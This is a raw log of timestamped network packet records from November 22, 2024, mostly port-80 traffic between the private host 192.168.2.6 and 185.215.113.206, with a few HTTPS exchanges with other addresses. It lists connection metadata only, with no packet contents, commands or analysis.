Nov 22, 2024 14:43:57.564717054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.564759970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.565563917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.565576077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.565610886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.566754103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.566816092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.567876101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.567890882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.567954063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.568265915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.568456888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.568905115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.568943024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.568964958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.568983078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.570063114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.570154905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.570599079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.570642948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.571367979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.571381092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.571440935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.573607922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.573621035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.573632956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.573654890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.573688030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.573688030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.573740005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.574624062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.574709892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.576394081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.576406002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.576462984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.576489925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.576534033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.576900005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.576981068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.577069998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.577132940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.578409910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.578533888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.578587055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.579169989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.579236984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.579474926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.579519033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.580368042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.580380917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.580446959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.583000898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583072901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583125114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.583235979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583249092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583270073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.583297968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.583910942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583923101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.583971977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.584882975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.584928036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.585971117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.585985899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.585998058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.586031914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.586066008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.587076902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.587126970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.587208033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.587285995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.588233948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.588340044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.588371038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.588414907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.589268923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.589315891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.675303936 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.675645113 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.675654888 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.676011086 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.676382065 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.676448107 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:57.724816084 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:57.731034994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.731046915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.731105089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.731254101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.731473923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.731513977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.731705904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.731719017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.732003927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.732851982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.733011961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.733269930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.733318090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.733973980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.734208107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.734272003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.734333038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.735157967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.735202074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.735260010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.735466003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.736296892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.736344099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.736418009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.736463070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.737365007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.737415075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.737616062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.737674952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.738527060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.738600969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.738892078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.738945007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.739626884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.739819050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.740838051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.740850925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.740864038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.740900040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.740936041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.741904974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.741964102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.742175102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.742239952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.743263006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.743308067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.743328094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.743395090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.744273901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.744324923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.744746923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.744812012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.745321035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.745362997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.745403051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.745443106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.746442080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.746509075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.746762991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.746807098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.747613907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.747658968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.748677969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.748727083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.748758078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.748769999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.748811960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.749851942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.749902010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.750144958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.750206947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.750969887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.751135111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.751142025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.751178980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.752182961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.752226114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.752306938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.752516031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.753295898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.753344059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.753513098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.753554106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.754396915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.754441977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.754595041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.754657030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.755527973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.755577087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.756402969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.756462097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.756674051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.756685972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.756725073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.757803917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.758317947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.758361101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.759134054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.759156942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.759231091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.760027885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.760116100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.760189056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.760234118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.761203051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.761251926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.761253119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.761292934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.762341976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.762404919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.763160944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.763212919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.763503075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.763516903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.763560057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.764601946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.764843941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.764874935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.764946938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.765789986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.765856028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.765942097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.765999079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.766839981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.766894102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.766961098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.768011093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.768178940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.768433094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.768485069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.769181967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.769195080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.769229889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.769243956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.770282030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.770338058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.770369053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.771155119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.771423101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.771442890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.771536112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.771536112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.772588968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.772602081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.772648096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.772663116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.773683071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.773734093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.774162054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.774471045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.774838924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.774851084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.774899006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.775969982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.775984049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.776063919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.776063919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.777117968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.777169943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.777787924 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.777885914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.777956963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.778227091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.778269053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.778542995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.778584957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.779346943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.779397964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.779966116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.780493975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.780545950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.780633926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.781660080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.781672001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.781716108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.782877922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.783077002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.783135891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.783920050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.784440994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.784490108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.785078049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.785089970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.785130024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.786183119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.786367893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.786418915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.787291050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.787329912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.787810087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.787889957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.788470984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.788650990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.788697004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.789566040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.789608955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.789613962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.789649963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.799165964 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.799190998 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.799829960 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.799835920 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.853547096 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.854617119 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.854646921 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.855412006 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.855422974 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.905874968 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.906955957 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.906985044 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.907691956 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:57.907699108 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:57.932495117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.932526112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.932590008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.933073997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.933181047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.933221102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.933265924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.934207916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.934288025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.934638023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.934694052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.935349941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.935406923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.935741901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.935836077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.936520100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.936533928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.936575890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.936590910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.937597036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.937643051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.938169956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.938236952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.938719034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.938779116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.939153910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.939207077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.939881086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.939944029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.940010071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.940150023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.941003084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.941066980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.941493034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.941548109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.942128897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.942190886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.942440987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.942517042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.943258047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.943451881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:57.944417000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:57.944431067 CET	80	49819	185.215.113.206	192.168.2.6
